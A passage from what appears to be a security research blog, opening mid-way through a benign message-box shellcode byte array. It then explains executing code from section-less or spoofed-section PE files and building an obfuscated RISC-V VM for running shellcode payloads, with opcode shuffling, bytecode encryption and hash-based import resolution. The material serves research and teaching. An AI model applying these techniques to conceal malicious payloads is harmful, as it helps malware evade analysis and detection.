	0x89, 0x33, 0xC9, 0xC7, 0x45, 0xC4, 0x54, 0x65, 0x73, 0x74, 0x51, 0x8D,
	0x45, 0xC4, 0x88, 0x4D, 0xC8, 0x50, 0x50, 0x51, 0xFF, 0x55, 0xF0, 0x6A,
	0x7B, 0x6A, 0xFF, 0xFF, 0x55, 0xEC, 0x5F, 0x5E, 0x5B, 0xC9, 0xC3, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89,
	0x74, 0x24, 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x41, 0x54, 0x41, 0x56,
	0x41, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60,
	0x00, 0x00, 0x00, 0x33, 0xFF, 0x45, 0x33, 0xFF, 0x45, 0x33, 0xE4, 0x45,
	0x33, 0xC9, 0x48, 0x8B, 0x48, 0x18, 0x48, 0x8B, 0x41, 0x30, 0x48, 0x8B,
	0x08, 0x48, 0x8B, 0x59, 0x10, 0x48, 0x63, 0x43, 0x3C, 0x8B, 0x8C, 0x18,
	0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xCB, 0x8B, 0x69, 0x24, 0x44, 0x8B,
	0x71, 0x20, 0x48, 0x03, 0xEB, 0x44, 0x8B, 0x59, 0x1C, 0x4C, 0x03, 0xF3,
	0x8B, 0x71, 0x14, 0x4C, 0x03, 0xDB, 0x85, 0xF6, 0x0F, 0x84, 0x80, 0x00,
	0x00, 0x00, 0x44, 0x8B, 0x51, 0x18, 0x33, 0xC9, 0x45, 0x85, 0xD2, 0x74,
	0x69, 0x48, 0x8B, 0xD5, 0x0F, 0x1F, 0x40, 0x00, 0x0F, 0xB7, 0x02, 0x41,
	0x3B, 0xC1, 0x74, 0x0D, 0xFF, 0xC1, 0x48, 0x83, 0xC2, 0x02, 0x41, 0x3B,
	0xCA, 0x72, 0xED, 0xEB, 0x4D, 0x45, 0x8B, 0x04, 0x8E, 0x4C, 0x03, 0xC3,
	0x74, 0x44, 0x41, 0x0F, 0xB6, 0x00, 0x33, 0xD2, 0xB9, 0x05, 0x15, 0x00,
	0x00, 0x84, 0xC0, 0x74, 0x35, 0x0F, 0x1F, 0x00, 0x6B, 0xC9, 0x21, 0x8D,
	0x52, 0x01, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42, 0x0F, 0xB6, 0x04, 0x02,
	0x84, 0xC0, 0x75, 0xEC, 0x81, 0xF9, 0xFB, 0xF0, 0xBF, 0x5F, 0x75, 0x08,
	0x41, 0x8B, 0x3B, 0x48, 0x03, 0xFB, 0xEB, 0x0E, 0x81, 0xF9, 0x6D, 0x07,
	0xAF, 0x60, 0x75, 0x06, 0x45, 0x8B, 0x23, 0x4C, 0x03, 0xE3, 0x41, 0xFF,
	0xC1, 0x49, 0x83, 0xC3, 0x04, 0x44, 0x3B, 0xCE, 0x72, 0x84, 0x48, 0x8D,
	0x4C, 0x24, 0x20, 0xC7, 0x44, 0x24, 0x20, 0x75, 0x73, 0x65, 0x72, 0x66,
	0xC7, 0x44, 0x24, 0x24, 0x33, 0x32, 0x44, 0x88, 0x7C, 0x24, 0x26, 0xFF,
	0xD7, 0x45, 0x33, 0xC9, 0x48, 0x8B, 0xD8, 0x48, 0x63, 0x48, 0x3C, 0x8B,
	0x94, 0x01, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD0, 0x8B, 0x7A, 0x24,
	0x8B, 0x6A, 0x20, 0x48, 0x03, 0xF8, 0x44, 0x8B, 0x5A, 0x1C, 0x48, 0x03,
	0xE8, 0x8B, 0x72, 0x14, 0x4C, 0x03, 0xD8, 0x85, 0xF6, 0x74, 0x77, 0x44,
	0x8B, 0x52, 0x18, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x33, 0xC0, 0x45, 0x85,
	0xD2, 0x74, 0x5B, 0x48, 0x8B, 0xD7, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00,
	0x0F, 0xB7, 0x0A, 0x41, 0x3B, 0xC9, 0x74, 0x0D, 0xFF, 0xC0, 0x48, 0x83,
	0xC2, 0x02, 0x41, 0x3B, 0xC2, 0x72, 0xED, 0xEB, 0x3D, 0x44, 0x8B, 0x44,
	0x85, 0x00, 0x4C, 0x03, 0xC3, 0x74, 0x33, 0x41, 0x0F, 0xB6, 0x00, 0x33,
	0xD2, 0xB9, 0x05, 0x15, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x24, 0x66, 0x90,
	0x6B, 0xC9, 0x21, 0x8D, 0x52, 0x01, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42,
	0x0F, 0xB6, 0x04, 0x02, 0x84, 0xC0, 0x75, 0xEC, 0x81, 0xF9, 0xB4, 0x14,
	0x4F, 0x38, 0x75, 0x06, 0x45, 0x8B, 0x3B, 0x4C, 0x03, 0xFB, 0x41, 0xFF,
	0xC1, 0x49, 0x83, 0xC3, 0x04, 0x44, 0x3B, 0xCE, 0x72, 0x92, 0x45, 0x33,
	0xC9, 0xC7, 0x44, 0x24, 0x20, 0x54, 0x65, 0x73, 0x74, 0x4C, 0x8D, 0x44,
	0x24, 0x20, 0xC6, 0x44, 0x24, 0x24, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x20,
	0x33, 0xC9, 0x41, 0xFF, 0xD7, 0xBA, 0x7B, 0x00, 0x00, 0x00, 0x48, 0xC7,
	0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0xFF, 0xD4, 0x48, 0x8B, 0x5C, 0x24,
	0x60, 0x48, 0x8B, 0x6C, 0x24, 0x68, 0x48, 0x8B, 0x74, 0x24, 0x70, 0x48,
	0x8B, 0x7C, 0x24, 0x78, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5F, 0x41, 0x5E,
	0x41, 0x5C, 0xC3
};

As a side note, several readers have asked how I created this sample code (previously used in another project) which works correctly in both 32-bit and 64-bit modes. The answer is very simple: it begins by storing the original stack pointer value, pushes a value onto the stack, and compares the new stack pointer to the original value. If the difference is 8, the 64-bit code is executed - otherwise, the 32-bit code is executed. While there are certainly more efficient approaches to achieve this outcome, this method is sufficient for demonstration purposes:

mov eax, esp	; store stack ptr
push 0		; push a value onto the stack
sub eax, esp	; calculate difference
pop ecx		; restore stack
cmp eax, 8	; check if the difference is 8
je 64bit_code
32bit_code:
xxxx
64bit_code:
xxxx

By appending this payload to the original headers above, we can generate a valid and functional EXE file. The provided PE headers contain a hardcoded SizeOfImage value of 0x100000 which allows for a maximum payload size of almost 1MB, but this can be increased if necessary. Running this program will display our message box, despite the fact that the PE headers lack any executable sections, or any sections at all in this case:

Demonstration #2 - Executable PE with spoofed sections

Perhaps more interestingly, it is also possible to create a fake section table using this mode as mentioned earlier. I have created another EXE which follows a similar format to the previous samples, but also includes a single read-only section:

The main payload has been stored within this read-only section and the entry-point has been updated to 0x1000. Under normal circumstances, you would expect the program to crash immediately with an access-violation exception due to attempting to execute read-only memory. However, this doesn’t occur here - the target memory region contains RWX permissions and the payload is executed successfully:

Notes

The sample EXE files can be downloaded here.

The proof-of-concepts described above involve appending the payload to the end of the NT headers, but it is also possible to embed executable code within the headers themselves using this technique. The module will fail to load if the AddressOfEntryPoint value is less than the SizeOfHeaders value, but this can easily be bypassed since the SizeOfHeaders value is not strictly enforced. It can even be set to 0, allowing the entry-point to be positioned anywhere within the file.

It is possible that this feature was initially designed to allow for very small images, enabling the headers, code, and data to fit within a single memory page. As memory protection is applied per-page, it makes sense to apply RWX to all PTEs when the virtual section size is lower than the page size - it would otherwise be impossible to manage protections correctly if multiple sections resided within a single page.

I have tested these EXE files on various different versions of Windows from Vista to 10 with success in all cases. Unfortunately it has very little practical use in the real world as it won’t deceive any modern disassemblers - nonetheless, it remains an interesting concept.

RISC-Y Business: Raging against the reduced machine

24 December 2023 at 11:00

Abstract

In recent years the interest in obfuscation has increased, mainly because people want to protect their intellectual property. Unfortunately, most of what’s been written is focused on the theoretical aspects. In this article, we will discuss the practical engineering challenges of developing a low-footprint virtual machine interpreter. The VM is easily embeddable, built on open-source technology and has various hardening features that were achieved with minimal effort.

Introduction

In addition to protecting intellectual property, a minimal virtual machine can be useful for other reasons. You might want to have an embeddable interpreter to execute business logic (shellcode), without having to deal with RWX memory. It can also be useful as an educational tool, or just for fun.

Creating a custom VM architecture (similar to VMProtect/Themida) means that we would have to deal with binary rewriting/lifting or write our own compiler. Instead, we decided to use a preexisting architecture, which would be supported by LLVM: RISC-V. This architecture is already widely used for educational purposes and has the advantage of being very simple to understand and implement.

Initially, the main contender was WebAssembly. However, existing interpreters were very bloated and would also require dealing with a binary format. Additionally, it looks like WASM64 is very underdeveloped and our memory model requires 64-bit pointer support. SPARC and PowerPC were also considered, but RISC-V seems to be more popular and there are a lot more resources available for it.

WebAssembly was designed for sandboxing and therefore strictly separates guest and host memory. Because we will be writing our own RISC-V interpreter, we chose to instead share memory between the guest and the host. This means that pointers in the RISC-V execution context (the guest) are valid in the host process and vice-versa.

As a result, the instructions responsible for reading/writing memory can be implemented as a simple memcpy call and we do not need additional code to translate/validate memory accesses (which helps with our goal of small code size). With this property, we need to implement only two system calls to perform arbitrary operations in the host process:

uintptr_t riscvm_get_peb();
uintptr_t riscvm_host_call(uintptr_t rip, uintptr_t args[13]);

The riscvm_get_peb is Windows-specific and it allows us to resolve exports, which we can then pass to the riscvm_host_call function to execute arbitrary code. Additionally, an optional host_syscall stub could be implemented, but this is not strictly necessary since we can just call the functions in ntdll.dll instead.

Toolchain and CRT

To keep the interpreter footprint as low as possible, we decided to develop a toolchain that outputs a freestanding binary. The goal is to copy this binary into memory and point the VM’s program counter there to start execution. Because we are in freestanding mode, there is no C runtime available to us, this requires us to handle initialization ourselves.

As an example, we will use the following hello.c file:

int _start() {
    int result = 0;
    for(int i = 0; i < 52; i++) {
        result += *(volatile int*)&i;
    }
    return result + 11;
}

We compile the program with the following incantation:

clang -target riscv64 -march=rv64im -mcmodel=medany -Os -c hello.c -o hello.o

And then verify by disassembling the object:

$ llvm-objdump --disassemble hello.o

hello.o:        file format elf64-littleriscv

0000000000000000 <_start>:
       0: 13 01 01 ff   addi    sp, sp, -16
       4: 13 05 00 00   li      a0, 0
       8: 23 26 01 00   sw      zero, 12(sp)
       c: 93 05 30 03   li      a1, 51

0000000000000010 <.LBB0_1>:
      10: 03 26 c1 00   lw      a2, 12(sp)
      14: 33 05 a6 00   add     a0, a2, a0
      18: 9b 06 16 00   addiw   a3, a2, 1
      1c: 23 26 d1 00   sw      a3, 12(sp)
      20: 63 40 b6 00   blt     a2, a1, 0x20 <.LBB0_1+0x10>
      24: 1b 05 b5 00   addiw   a0, a0, 11
      28: 13 01 01 01   addi    sp, sp, 16
      2c: 67 80 00 00   ret

The hello.o is a regular ELF object file. To get a freestanding binary we need to invoke the linker with a linker script:

ENTRY(_start)

LINK_BASE = 0x8000000;

SECTIONS
{
    . = LINK_BASE;
    __base = .;

    .text : ALIGN(16) {
        . = LINK_BASE;
        *(.text)
        *(.text.*)
    }

    .data : {
        *(.rodata)
        *(.rodata.*)
        *(.data)
        *(.data.*)
        *(.eh_frame)
    }

    .init : {
        __init_array_start = .;
        *(.init_array)
        __init_array_end = .;
    }

    .bss : {
        *(.bss)
        *(.bss.*)
        *(.sbss)
        *(.sbss.*)
    }

    .relocs : {
        . = . + SIZEOF(.bss);
        __relocs_start = .;
    }
}

This script is the result of an excessive amount of swearing and experimentation. The format is .name : { ... } where .name is the destination section and the stuff in the brackets is the content to paste in there. The special . operator is used to refer to the current position in the binary and we define a few special symbols for use by the runtime:

Symbol Meaning
__base Base of the executable.
__init_array_start Start of the C++ init arrays.
__init_array_end End of the C++ init arrays.
__relocs_start Start of the relocations (end of the binary).

These symbols are declared as extern in the C code and they will be resolved at link-time. While it may seem confusing at first that we have a destination section, it starts to make sense once you realize the linker has to output a regular ELF executable. That ELF executable is then passed to llvm-objcopy to create the freestanding binary blob. This makes debugging a whole lot easier (because we get DWARF symbols) and since we will not implement an ELF loader, it also allows us to extract the relocations for embedding into the final binary.

To link the intermediate ELF executable and then create the freestanding hello.pre.bin:

ld.lld.exe -o hello.elf --oformat=elf -emit-relocs -T ..\lib\linker.ld --Map=hello.map hello.o
llvm-objcopy -O binary hello.elf hello.pre.bin

For debugging purposes we also output hello.map, which tells us exactly where the linker put the code/data:

             VMA              LMA     Size Align Out     In      Symbol
               0                0        0     1 LINK_BASE = 0x8000000
               0                0  8000000     1 . = LINK_BASE
         8000000                0        0     1 __base = .
         8000000          8000000       30    16 .text
         8000000          8000000        0     1         . = LINK_BASE
         8000000          8000000       30     4         hello.o:(.text)
         8000000          8000000       30     1                 _start
         8000010          8000010        0     1                 .LBB0_1
         8000030          8000030        0     1 .init
         8000030          8000030        0     1         __init_array_start = .
         8000030          8000030        0     1         __init_array_end = .
         8000030          8000030        0     1 .relocs
         8000030          8000030        0     1         . = . + SIZEOF ( .bss )
         8000030          8000030        0     1         __relocs_start = .
               0                0       18     8 .rela.text
               0                0       18     8         hello.o:(.rela.text)
               0                0       3b     1 .comment
               0                0       3b     1         <internal>:(.comment)
               0                0       30     1 .riscv.attributes
               0                0       30     1         <internal>:(.riscv.attributes)
               0                0      108     8 .symtab
               0                0      108     8         <internal>:(.symtab)
               0                0       55     1 .shstrtab
               0                0       55     1         <internal>:(.shstrtab)
               0                0       5c     1 .strtab
               0                0       5c     1         <internal>:(.strtab)

The final ingredient of the toolchain is a small Python script (relocs.py) that extracts the relocations from the ELF file and appends them to the end of the hello.pre.bin. The custom relocation format only supports R_RISCV_64 and is resolved by our CRT like so:

typedef struct
{
    uint8_t  type;
    uint32_t offset;
    int64_t  addend;
} __attribute__((packed)) Relocation;

extern uint8_t __base[];
extern uint8_t __relocs_start[];

#define LINK_BASE    0x8000000
#define R_RISCV_NONE 0
#define R_RISCV_64   2

static __attribute((noinline)) void riscvm_relocs()
{
    if (*(uint32_t*)__relocs_start != 'ALER')
    {
        asm volatile("ebreak");
    }

    uintptr_t load_base = (uintptr_t)__base;

    for (Relocation* itr = (Relocation*)(__relocs_start + sizeof(uint32_t)); itr->type != R_RISCV_NONE; itr++)
    {
        if (itr->type == R_RISCV_64)
        {
            uint64_t* ptr = (uint64_t*)((uintptr_t)itr->offset - LINK_BASE + load_base);
            *ptr -= LINK_BASE;
            *ptr += load_base;
        }
        else
        {
            asm volatile("ebreak");
        }
    }
}

As you can see, the __base and __relocs_start magic symbols are used here. The only reason this works is the -mcmodel=medany we used when compiling the object. You can find more details in this article and in the RISC-V ELF Specification. In short, this flag allows the compiler to assume that all code will be emitted in a 2 GiB address range, which allows more liberal PC-relative addressing. The R_RISCV_64 relocation type gets emitted when you put pointers in the .data section:

void* functions[] = {
    &function1,
    &function2,
};

This also happens when using vtables in C++, and we wanted to support these properly early on, instead of having to fight with horrifying bugs later.

The next piece of the CRT involves the handling of the init arrays (which get emitted by global instances of classes that have a constructor):

typedef void (*InitFunction)();
extern InitFunction __init_array_start;
extern InitFunction __init_array_end;

static __attribute((optnone)) void riscvm_init_arrays()
{
    for (InitFunction* itr = &__init_array_start; itr != &__init_array_end; itr++)
    {
        (*itr)();
    }
}

Frustratingly, we were not able to get this function to generate correct code without the __attribute__((optnone)). We suspect this has to do with aliasing assumptions (the start/end can technically refer to the same memory), but we didn’t investigate this further.

Interpreter internals

Note: the interpreter was initially based on riscvm.c by edubart. However, we have since completely rewritten it in C++ to better suit our purpose.

Based on the RISC-V Calling Conventions document, we can create an enum for the 32 registers:

enum RegIndex
{
    reg_zero, // always zero (immutable)
    reg_ra,   // return address
    reg_sp,   // stack pointer
    reg_gp,   // global pointer
    reg_tp,   // thread pointer
    reg_t0,   // temporary
    reg_t1,
    reg_t2,
    reg_s0,   // callee-saved
    reg_s1,
    reg_a0,   // arguments
    reg_a1,
    reg_a2,
    reg_a3,
    reg_a4,
    reg_a5,
    reg_a6,
    reg_a7,
    reg_s2,   // callee-saved
    reg_s3,
    reg_s4,
    reg_s5,
    reg_s6,
    reg_s7,
    reg_s8,
    reg_s9,
    reg_s10,
    reg_s11,
    reg_t3,   // temporary
    reg_t4,
    reg_t5,
    reg_t6,
};

We just need to add a pc register and we have the structure to represent the RISC-V CPU state:

struct riscvm
{
    int64_t  pc;
    uint64_t regs[32];
};

It is important to keep in mind that the zero register is always set to 0 and we have to prevent writes to it by using a macro:

#define reg_write(idx, value)        \
    do                               \
    {                                \
        if (LIKELY(idx != reg_zero)) \
        {                            \
            self->regs[idx] = value; \
        }                            \
    } while (0)

The instructions (ignoring the optional compression extension) are always 32-bits in length and can be cleanly expressed as a union:

union Instruction
{
    struct
    {
        uint32_t compressed_flags : 2;
        uint32_t opcode           : 5;
        uint32_t                  : 25;
    };

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t rs2    : 5;
        uint32_t funct7 : 7;
    } rtype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t rs2    : 5;
        uint32_t shamt  : 1;
        uint32_t imm    : 6;
    } rwtype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t imm    : 12;
    } itype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t imm    : 20;
    } utype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t imm12  : 8;
        uint32_t imm11  : 1;
        uint32_t imm1   : 10;
        uint32_t imm20  : 1;
    } ujtype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t imm5   : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t rs2    : 5;
        uint32_t imm7   : 7;
    } stype;

    struct
    {
        uint32_t opcode   : 7;
        uint32_t imm_11   : 1;
        uint32_t imm_1_4  : 4;
        uint32_t funct3   : 3;
        uint32_t rs1      : 5;
        uint32_t rs2      : 5;
        uint32_t imm_5_10 : 6;
        uint32_t imm_12   : 1;
    } sbtype;

    int16_t  chunks16[2];
    uint32_t bits;
};
static_assert(sizeof(Instruction) == sizeof(uint32_t), "");

There are 13 top-level opcodes (Instruction.opcode) and some of those opcodes have another field that further specializes the functionality (i.e. Instruction.itype.funct3). To keep the code readable, the enumerations for the opcode are defined in opcodes.h. The interpreter is structured to have handler functions for the top-level opcode in the following form:

bool handler_rv64_<opcode>(riscvm_ptr self, Instruction inst);

As an example, we can look at the handler for the lui instruction (note that the handlers themselves are responsible for updating pc):

ALWAYS_INLINE static bool handler_rv64_lui(riscvm_ptr self, Instruction inst)
{
    int64_t imm = bit_signer(inst.utype.imm, 20) << 12;
    reg_write(inst.utype.rd, imm);

    self->pc += 4;
    dispatch(); // return true;
}

The interpreter executes until one of the handlers returns false, indicating the CPU has to halt:

void riscvm_run(riscvm_ptr self)
{
    while (true)
    {
        Instruction inst;
        inst.bits = *(uint32_t*)self->pc;
        if (!riscvm_execute_handler(self, inst))
            break;
    }
}

Plenty of articles have been written about the semantics of RISC-V, so you can look at the source code if you’re interested in the implementation details of individual instructions. The structure of the interpreter also allows us to easily implement obfuscation features, which we will discuss in the next section.

For now, we will declare the handler functions as __attribute__((always_inline)) and set the -fno-jump-tables compiler option, which gives us a riscvm_run function that (comfortably) fits into a single page (0xCA4 bytes):

interpreter control flow graph

Hardening features

A regular RISC-V interpreter is fun, but an attacker can easily reverse engineer our payload by throwing it into Ghidra to decompile it. To force the attacker to at least look at our VM interpreter, we implemented a few security features. These features are implemented in a Python script that parses the linker MAP file and directly modifies the opcodes: encrypt.py.

Opcode shuffling

The most elegant (and likely most effective) obfuscation is to simply reorder the enums of the instruction opcodes and sub-functions. The shuffle.py script is used to generate shuffled_opcodes.h, which is then included into riscvm.h instead of opcodes.h to mix the opcodes:

#ifdef OPCODE_SHUFFLING
#warning Opcode shuffling enabled
#include "shuffled_opcodes.h"
#else
#include "opcodes.h"
#endif // OPCODE_SHUFFLING

There is also a shuffled_opcodes.json file generated, which is parsed by encrypt.py to know how to shuffle the assembled instructions.

Because enums are used for all the opcodes, we only need to recompile the interpreter to obfuscate it; there is no additional complexity cost in the implementation.

Bytecode encryption

To increase diversity between payloads for the same VM instance, we also employ a simple ‘encryption’ scheme on top of the opcode:

ALWAYS_INLINE static uint32_t tetra_twist(uint32_t input)
{
    /**
     * Custom hash function that is used to generate the encryption key.
     * This has strong avalanche properties and is used to ensure that
     * small changes in the input result in large changes in the output.
     */

    constexpr uint32_t prime1 = 0x9E3779B1; // a large prime number

    input ^= input >> 15;
    input *= prime1;
    input ^= input >> 12;
    input *= prime1;
    input ^= input >> 4;
    input *= prime1;
    input ^= input >> 16;

    return input;
}

ALWAYS_INLINE static uint32_t transform(uintptr_t offset, uint32_t key)
{
    uint32_t key2 = key + offset;
    return tetra_twist(key2);
}

ALWAYS_INLINE static uint32_t riscvm_fetch(riscvm_ptr self)
{
    uint32_t data;
    memcpy(&data, (const void*)self->pc, sizeof(data));

#ifdef CODE_ENCRYPTION
    return data ^ transform(self->pc - self->base, self->key);
#else
    return data;
#endif // CODE_ENCRYPTION
}

The offset relative to the start of the bytecode is used as the seed to a simple transform function. The result of this function is XOR’d with the instruction data before decoding. The exact transformation doesn’t really matter, because an attacker can always observe the decrypted bytecode at runtime. However, static analysis becomes more difficult and pattern-matching the payload is prevented, all for a relatively small increase in VM implementation complexity.

It would be possible to encrypt the contents of the .data section of the payload as well, but we would have to completely decrypt it in memory before starting execution anyway. Technically, it would be also possible to implement a lazy encryption scheme by customizing the riscvm_read and riscvm_write functions to intercept reads/writes to the payload region, but this idea was not pursued further.

Threaded handlers

The most interesting feature of our VM is that we only need to make minor code modifications to turn it into a so-called threaded interpreter. Threaded code is a well-known technique used both to speed up emulators and to introduce indirect branches that complicate reverse engineering. It is called threading because the execution can be visualized as a thread of handlers that directly branch to the next handler. There is no classical dispatch function, with an infinite loop and a switch case for each opcode inside. The performance improves because there are fewer false-positives in the branch predictor when executing threaded code. You can find more information about threaded interpreters in the Dispatch Techniques section of the YETI paper.

The first step is to construct a handler table, where each handler is placed at the index corresponding to each opcode. To do this we use a small snippet of constexpr C++ code:

typedef bool (*riscvm_handler_t)(riscvm_ptr, Instruction);

static constexpr std::array<riscvm_handler_t, 32> riscvm_handlers = []
{
    // Pre-populate the table with invalid handlers
    std::array<riscvm_handler_t, 32> result = {};
    for (size_t i = 0; i < result.size(); i++)
    {
        result[i] = handler_rv64_invalid;
    }

    // Insert the opcode handlers at the right index
#define INSERT(op) result[op] = HANDLER(op)
    INSERT(rv64_load);
    INSERT(rv64_fence);
    INSERT(rv64_imm64);
    INSERT(rv64_auipc);
    INSERT(rv64_imm32);
    INSERT(rv64_store);
    INSERT(rv64_op64);
    INSERT(rv64_lui);
    INSERT(rv64_op32);
    INSERT(rv64_branch);
    INSERT(rv64_jalr);
    INSERT(rv64_jal);
    INSERT(rv64_system);
#undef INSERT
    return result;
}();

With the riscvm_handlers table populated we can define the dispatch macro:

#define dispatch()                                       \
    Instruction next;                                    \
    next.bits = riscvm_fetch(self);                      \
    if (next.compressed_flags != 0b11)                   \
    {                                                    \
        panic("compressed instructions not supported!"); \
    }                                                    \
    __attribute__((musttail)) return riscvm_handlers[next.opcode](self, next)

The musttail attribute forces the call to the next handler to be a tail call. This is only possible because all the handlers have the same function signature and it generates an indirect branch to the next handler:

threaded handler disassembly

The final piece of the puzzle is the new implementation of the riscvm_run function, which uses an empty riscvm_execute handler to bootstrap the chain of execution:

ALWAYS_INLINE static bool riscvm_execute(riscvm_ptr self, Instruction inst)
{
    dispatch();
}

NEVER_INLINE void riscvm_run(riscvm_ptr self)
{
    Instruction inst;
    riscvm_execute(self, inst);
}

Traditional obfuscation

The built-in hardening features that we can get with a few #ifdefs and a small Python script are good enough for a proof-of-concept, but they are not going to deter a determined attacker for a very long time. An attacker can pattern-match the VM’s handlers to simplify future reverse engineering efforts. To address this, we can employ common obfuscation techniques using LLVM obfuscation passes:

  • Instruction substitution (to make pattern matching more difficult)
  • Opaque predicates (to hinder static analysis)
  • Inject anti-debug checks (to make dynamic analysis more difficult)

The paper Modern obfuscation techniques by Roman Oravec gives a nice overview of literature and has good data on what obfuscation passes are most effective considering their runtime overhead.

Additionally, it would also be possible to further enhance the VM’s security by duplicating handlers, but this would require extra post-processing on the payload itself. The VM itself is only part of what could be obfuscated. Obfuscating the payloads themselves is also something we can do quite easily. Most likely, manually-integrated security features (stack strings with xorstr, lazy_importer and variable encryption) will be most valuable here. However, because we use LLVM to build the payloads we can also employ automated obfuscation there. It is important to keep in mind that any overhead created in the payloads themselves is multiplied by the overhead created by the handler obfuscation, so experimentation is required to find the sweet spot for your use case.

Writing the payloads

The VM described in this post so far technically has the ability to execute arbitrary code. That being said, it would be rather annoying for an end-user to write said code. For example, we would have to manually resolve all imports and then use the riscvm_host_call function to actually execute them. These functions are executing in the RISC-V context and their implementation looks like this:

uintptr_t riscvm_host_call(uintptr_t address, uintptr_t args[13])
{
    register uintptr_t a0 asm("a0") = address;
    register uintptr_t a1 asm("a1") = (uintptr_t)args;
    register uintptr_t a7 asm("a7") = 20000;
    asm volatile("scall" : "+r"(a0) : "r"(a1), "r"(a7));
    return a0;
}

uintptr_t riscvm_get_peb()
{
    register uintptr_t a0 asm("a0") = 0;
    register uintptr_t a7 asm("a7") = 20001;
    asm volatile("scall" : "+r"(a0) : "r"(a7) : "memory");
    return a0;
}

We can get a pointer to the PEB using riscvm_get_peb and then resolve a module by its’ x65599 hash:

// Structure definitions omitted for clarity
uintptr_t riscvm_resolve_dll(uint32_t module_hash)
{
    static PEB* peb = 0;
    if (!peb)
    {
        peb = (PEB*)riscvm_get_peb();
    }
    LIST_ENTRY* begin = &peb->Ldr->InLoadOrderModuleList;
    for (LIST_ENTRY* itr = begin->Flink; itr != begin; itr = itr->Flink)
    {
        LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(itr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
        if (entry->BaseNameHashValue == module_hash)
        {
            return (uintptr_t)entry->DllBase;
        }
    }
    return 0;
}

Once we’ve obtained the base of the module we’re interested in, we can resolve the import by walking the export table:

uintptr_t riscvm_resolve_import(uintptr_t image, uint32_t export_hash)
{
    IMAGE_DOS_HEADER*       dos_header      = (IMAGE_DOS_HEADER*)image;
    IMAGE_NT_HEADERS*       nt_headers      = (IMAGE_NT_HEADERS*)(image + dos_header->e_lfanew);
    uint32_t                export_dir_size = nt_headers->OptionalHeader.DataDirectory[0].Size;
    IMAGE_EXPORT_DIRECTORY* export_dir =
        (IMAGE_EXPORT_DIRECTORY*)(image + nt_headers->OptionalHeader.DataDirectory[0].VirtualAddress);
    uint32_t* names = (uint32_t*)(image + export_dir->AddressOfNames);
    uint32_t* funcs = (uint32_t*)(image + export_dir->AddressOfFunctions);
    uint16_t* ords  = (uint16_t*)(image + export_dir->AddressOfNameOrdinals);

    for (uint32_t i = 0; i < export_dir->NumberOfNames; ++i)
    {
        char*     name = (char*)(image + names[i]);
        uintptr_t func = (uintptr_t)(image + funcs[ords[i]]);
        // Ignore forwarded exports
        if (func >= (uintptr_t)export_dir && func < (uintptr_t)export_dir + export_dir_size)
            continue;
        uint32_t hash = hash_x65599(name, true);
        if (hash == export_hash)
        {
            return func;
        }
    }

    return 0;
}

Now we can call MessageBoxA from RISC-V with the following code:

// NOTE: We cannot use Windows.h here
#include <stdint.h>

int main()
{
    // Resolve LoadLibraryA
    auto kernel32_dll = riscvm_resolve_dll(hash_x65599("kernel32.dll", false))
    auto LoadLibraryA = riscvm_resolve_import(kernel32_dll, hash_x65599("LoadLibraryA", true))

    // Load user32.dll
    uint64_t args[13];
    args[0] = (uint64_t)"user32.dll";
    auto user32_dll = riscvm_host_call(LoadLibraryA, args);

    // Resolve MessageBoxA
    auto MessageBoxA = riscvm_resolve_import(user32_dll, hash_x65599("MessageBoxA", true));

    // Show a message to the user
    args[0] = 0; // hwnd
    args[1] = (uint64_t)"Hello from RISC-V!"; // msg
    args[2] = (uint64_t)"riscvm"; // title
    args[3] = 0; // flags
    riscvm_host_call(MessageBoxA, args);
}

With some templates/macros/constexpr tricks we can probably get this down to something more readable, but fundamentally this code will always stay annoying to write. Even if calling imports were a one-liner, we would still have to deal with the fact that we cannot use Windows.h (or any of the Microsoft headers for that matter). The reason for this is that we are cross-compiling with Clang. Even if we were to set up the include paths correctly, it would still be a major pain to get everything to compile correctly. That being said, our VM works! A major advantage of RISC-V is that, since the instruction set is simple, once the fundamentals work, we can be confident that features built on top of this will execute as expected.

Whole Program LLVM

Usually, when discussing LLVM, the compilation process is running on Linux/macOS. In this section, we will describe a pipeline that can actually be used on Windows, without making modifications to your toolchain. This is useful if you would like to analyze/fuzz/obfuscate Windows applications, which might only compile an MSVC-compatible compiler: clang-cl.

Link-time optimization (LTO)

Without LTO, the object files produced by Clang are native COFF/ELF/Mach-O files. Every file is optimized and compiled independently. The linker loads these objects and merges them together into the final executable.

When enabling LTO, the object files are instead LLVM Bitcode (.bc) files. This allows the linker to merge all the LLVM IR together and perform (more comprehensive) whole-program optimizations. After the LLVM IR has been optimized, the native code is generated and the final executable produced. The diagram below comes from the great Link-time optimisation (LTO) post by Ryan Stinnet:

LTO workflow

Compiler wrappers

